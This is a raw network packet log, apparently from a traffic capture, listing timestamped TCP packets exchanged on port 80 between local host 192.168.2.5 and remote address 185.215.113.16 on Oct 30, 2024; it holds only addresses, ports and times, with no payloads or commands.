Oct 30, 2024 21:55:25.591166019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591197014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591202021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591207981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591228008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591238022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591249943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591258049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591263056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591294050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591294050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591546059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591557026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591568947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591617107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591639996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591767073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591775894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591787100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591799021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591834068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591834068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591861010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591872931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591907978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591917038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591927052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.591964006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.591993093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592003107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592026949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592039108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592050076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592058897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592077017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.592077017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.592130899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.592612028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592622042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592632055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592683077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592693090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592694998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.592704058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.592741966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.593058109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593067884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593113899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.593203068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593219042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593247890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593257904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.593259096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593272924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593281984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593292952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593302011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593303919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.593313932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.593341112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.593341112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.593369961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595323086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595427036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595437050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595448971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595460892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595477104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595479012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595489979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595503092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595514059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595516920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595520973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595532894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595544100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595567942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595567942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595606089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595777035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595788956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595801115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595848083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.595873117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595885038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595896959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595909119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.595947981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.596009016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596021891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596033096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596044064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596055031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596065998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596076965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596085072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.596085072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.596087933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596098900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.596101999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596115112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.596151114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.596151114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.636796951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.636816978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.636830091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.636852026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.636878967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.664267063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664283991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664297104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664325953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664339066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664350033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664360046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664367914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.664367914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.664371967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.664424896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.664486885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.667588949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667629957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667639971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667695999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.667783976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667797089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667807102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667819977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667834044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667844057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667846918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.667876005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.667973995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.667984009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.668036938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.668119907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.668165922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.668237925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.708592892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.708606958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.708616972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.708651066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.708713055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709115982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709127903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709140062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709178925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709187984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709254026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709357023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709368944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709384918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709395885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709408998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709417105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709445953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709487915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709500074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709508896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709518909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709534883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709541082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709573984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709590912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709667921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709711075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709722042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.709733963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709781885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.709955931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710001945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710014105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710026979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710057020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710105896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710149050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710160971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710172892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710184097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710195065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710205078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710218906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710222006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710235119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710247040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710261106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710297108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710865974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710879087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710895061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710941076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710941076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.710978031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.710989952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711000919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711008072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711014986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711067915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.711345911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711364985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711379051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711389065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711400986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711411953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711417913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.711417913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.711425066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711436987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711447001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711453915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.711483002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.711483002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.711499929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711510897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.711558104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713473082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713748932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713758945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713769913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713782072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713792086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713804007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713823080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713823080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713859081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713871956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713885069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713896036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713907003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713913918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713917971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713929892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713942051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.713949919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713949919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713989019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.713994980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714004993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714016914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714035034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714051008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714051008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714067936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714082003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714128017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714289904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714302063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714313030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714323044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714333057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714344025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714354992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714354038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714354038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714368105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714371920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714384079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714395046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.714401960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.714442015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.715142965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.715154886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.715169907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.715203047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.715234041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.754803896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.754816055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.754826069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.754834890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.754874945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.754933119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.782222986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782237053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782248020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782308102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782320023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782322884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.782331944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782382965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.782429934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782442093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782453060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.782500029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.785583973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.785597086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.785607100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.785665035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.785665035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.789185047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789278984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789289951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789302111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789313078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789324999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789335966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789341927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.789346933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.789372921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.789501905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.826925039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.826956987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.826967001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.826998949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827106953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827143908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827152014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827156067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827207088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827466965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827496052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827505112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827537060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827589035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827598095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827608109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827620029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827629089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827640057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827652931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827676058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827678919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827740908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.827744961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827756882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827766895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.827828884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.828085899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828098059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828108072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828119993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828150988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828161955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828167915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.828176022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828186989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828190088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.828198910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828208923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:25.828218937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:25.828232050 CET	49712	80	192.168.2.5	185.215.113.16
